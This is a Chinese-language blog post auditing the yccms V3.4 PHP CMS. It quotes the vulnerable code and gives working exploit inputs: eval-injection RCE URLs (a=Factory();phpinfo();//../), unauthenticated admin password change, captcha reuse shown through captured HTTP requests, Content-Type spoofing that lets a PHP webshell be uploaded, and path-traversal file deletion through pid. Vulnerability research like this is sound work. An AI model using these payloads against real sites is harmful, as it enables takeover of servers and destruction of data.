yccms V3.4审计

下载:

通过网盘分享的文件:yccms.rar

链接: https://pan.baidu.com/s/1f6kZlcEFdnrubGlUKvT8iw 提取码: fw2i

全局搜索查询版本(define(‘VERSION’, ‘Ver 3.4’);//程序版本)

复现

1(rce)

/public/class/Factory.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Factory
{
    static private $_obj = null;
	static public function setAction(){
		$_a=self::getA();
		if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
			if (!isset($_SESSION['admin'])) {
				header('Location:'.'?a=login');
			}
		}
		if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
		eval('self::$_obj = new '.ucfirst($_a).'Action();');
		return self::$_obj;
	}
  1. 以get输入得到a

    ​ file_exists(检查文件或目录是否存在,并返回布尔值) 函数检测
    ​ ucfirst():将字符串的首字母转换为大写

  2. 绕过file_exists

    ​ 该函数允许目录存在特殊字符,/../将第一个前的内容当作一个目录处理,本身会返回上一个目录(造成了中间字符的逃逸)

    ​ 构造Factory();phpinfo();//../,第一个Factory用来闭合前面实例化对象,之后就是插入的恶意代码,最后返回上级目录满足目录存在。(Factory首字母已经大写)

  3. 寻找该类在哪被加载(run)

    ​ config/run.inc.php(类的实例化)

    1
    2
    3
    //单入口
    Factory::setAction()->run();
    ?>

    但是config/run.inc.php文件无法直接访问

    ​ 继续找包含了这个文件的其他可用文件,找到admin/index.php、config/count.php、search/index.php三个文件

    ​ 由于index.php是默认的首页文件,所以通过admin/index.php search/index.php 进行利用时可以省略index.php

  4. 构造

    /admin?a=Factory();phpinfo();//../ /admin/index.php?a=Factory();phpinfo();//../
    /search?a=Factory();phpinfo();//../ /search/index.php?a=Factory();phpinfo();//../

    ​ /config/count.php?a=Factory();phpinfo();//../

    虽然search/index.php未直接调用Factory::setAction(),其他的执行的项目中存在

    1
    2
    3
    $_tpl=TPL::getInstance();
    $_search=new SearchAction();
    $_search->index();

    /config?a=Factory();phpinfo();//../

    因为 /config?a=…→ 并没有 index.php 或没有对应处理逻辑,可能返回 403 或静态内容

    1
    2
    /admin?a=...` → 路由到 `/admin/index.php
    /search?a=...` → 路由到 `/search/index.php

2(未授权管理员密码修改)

controller/AdminAction.class.php(update函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//修改密码
	public function update(){
		if(isset($_POST['send'])){
			if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update');
			if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update');
			if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update');
			$this->_model->username=$_POST['username'];
			$this->_model->password=sha1($_POST['password']);
			$_edit=$this->_model->editAdmin();
			if($_edit){
				tool::layer_alert('密码修改成功!','?a=admin&m=update',6);
				}else{
				tool::layer_alert('密码未修改!','?a=admin&m=update',6);
			}
		}
		
			$this->_tpl->assign('admin', $_SESSION['admin']);
			$this->_tpl->display('admin/public/update.tpl');
	}
  1. 输入username以及password函数转移到editAdmin

    1
    $_edit=$this->_model->editAdmin();
  2. 寻找到函数定义(在model/AdminModel.class.php)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function editAdmin(){
    		$_sql="UPDATE
    					my_admin
    				SET
    					username='$this->username',
    					password='$this->password'
    				WHERE
    					id=1
    				LIMIT 1";
    		return parent::update($_sql);
    	}
  3. 查看更新函数update($_sql) (在model/Model.class.php)

    1
    2
    3
    protected function update($_sql){
    		return $this->execute($_sql)->rowCount();
    	}
  4. 使用execute($_sql)执行的sql语句 (在model/Model.class.php)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    protected function execute($_sql){
    		try{
    			$_stmt=$this->_db->prepare($_sql);
    			$_stmt->execute();
    		}catch (PDOException $e){
    			exit('SQL语句:'.$_sql.'<br />错误信息:'.$e->getMessage());
    		}
    		return $_stmt;
    	}
  5. editAdmin函数直接把传进来的username password拼接到sql语句中,然后去更新相关表中id=1的数据,没有对于用户的信息进行认证以及过滤,这也就造成了任意更改管理员账号密码

3(验证码复用)

直接测试抓包两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/?a=login&m=ajaxCode HTTP/1.1
Host: yccms:85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 9
Origin: http://yccms:85
Connection: keep-alive
Referer: http://yccms:85/admin/?a=login
Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd
Priority: u=0

code=gka3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/?a=login HTTP/1.1
Host: yccms:85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://yccms:85
Connection: keep-alive
Referer: http://yccms:85/admin/?a=login
Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ajaxlogin=&ajaxcode=&username=admin&password=1234565&code=kugk&send=

两次的Cookie: PHPSESSID=o4og4hf5dqn67ns6pm8vlsfhdd相同

4(文件上传1)

登录后文件后台,上传logo存在文件上传(使用hacbar)

测试https://yccms:85/view/index/images/logo.php

​ post提交1=phpinfo();

​ 展现出配置文件

说明漏洞存在

  1. controller/CallAction.class.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //处理上传图片
    	public function upLoad() {
    		if (isset($_POST['send'])) {
    			$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
    			$_path = $_logoupload->getPath();
    			$_img = new Image($_path);
    			$_img->xhImg(960,0);
    			$_img->out();
    			//echo $_path;
    			$_logoupload->alertOpenerClose('图片上传成功!','..'.$_path);
    		} else {
    			exit('警告:文件过大或者其他未知错误导致浏览器崩溃!');
    		}
    	}
  2. 回溯logoupload(public/class/LogoUpload.class.php)

    寻找验证类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    	private $type;				//类型
    	private $typeArr = array('image/png','image/x-png');		//类型合集
    
    
    //验证类型
    	private function checkType() {
    		if (!in_array($this->type,$this->typeArr)) {
    			Tool::alertBack('警告:LOGO图片必须是PNG格式!');
    		}
    	}

    代码的“类型”“类型合集”表示只限制了Content-Type

  3. 在提交log时,抓包修改Content-Type为PNG格式,image/png

5(文件上传2)

登录后文件后台,添加文章,上传图片存在文件上传(使用hacbar)

同上

​ (controller/CallAction.class.php———–>public\class\FileUpload.class.php)

​ 代码的“类型”“类型合集”表示只限制了Content-Type

​ 在提交log时,抓包修改Content-Type为PNG格式,image/png

6(任意文件(图片/文章)删除)

后台中,在图片管理处删除图片/文章

  1. 根据url(/admin/?a=pic&m=delall)定位文件(/controller/PicAction.class.php)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
    public function delall(){
    		if(isset($_POST['send'])){
    			if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);
    			$_fileDir=ROOT_PATH.'/uploads/';
    			foreach($_POST['pid'] as $_value){
    				$_filePath=$_fileDir.$_value;
    				if(!unlink($_filePath)){
    					tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
    				}else{
    					header('Location:?a=pic');
    				}
    			}
    					
    		}
    		
    	}

    对 pid传进来的值并没有进行过滤就进行了了路径的拼接,导致了路径穿越漏洞,触发任意文件删除漏洞

  2. 即**只需要更改pid[0]**即可在无登录条件下任意删除文件


yccms V3.4审计
http://example.com/2025/10/27/yccms V3.4审计/
作者
Piggy Sprint
发布于
2025年10月27日
许可协议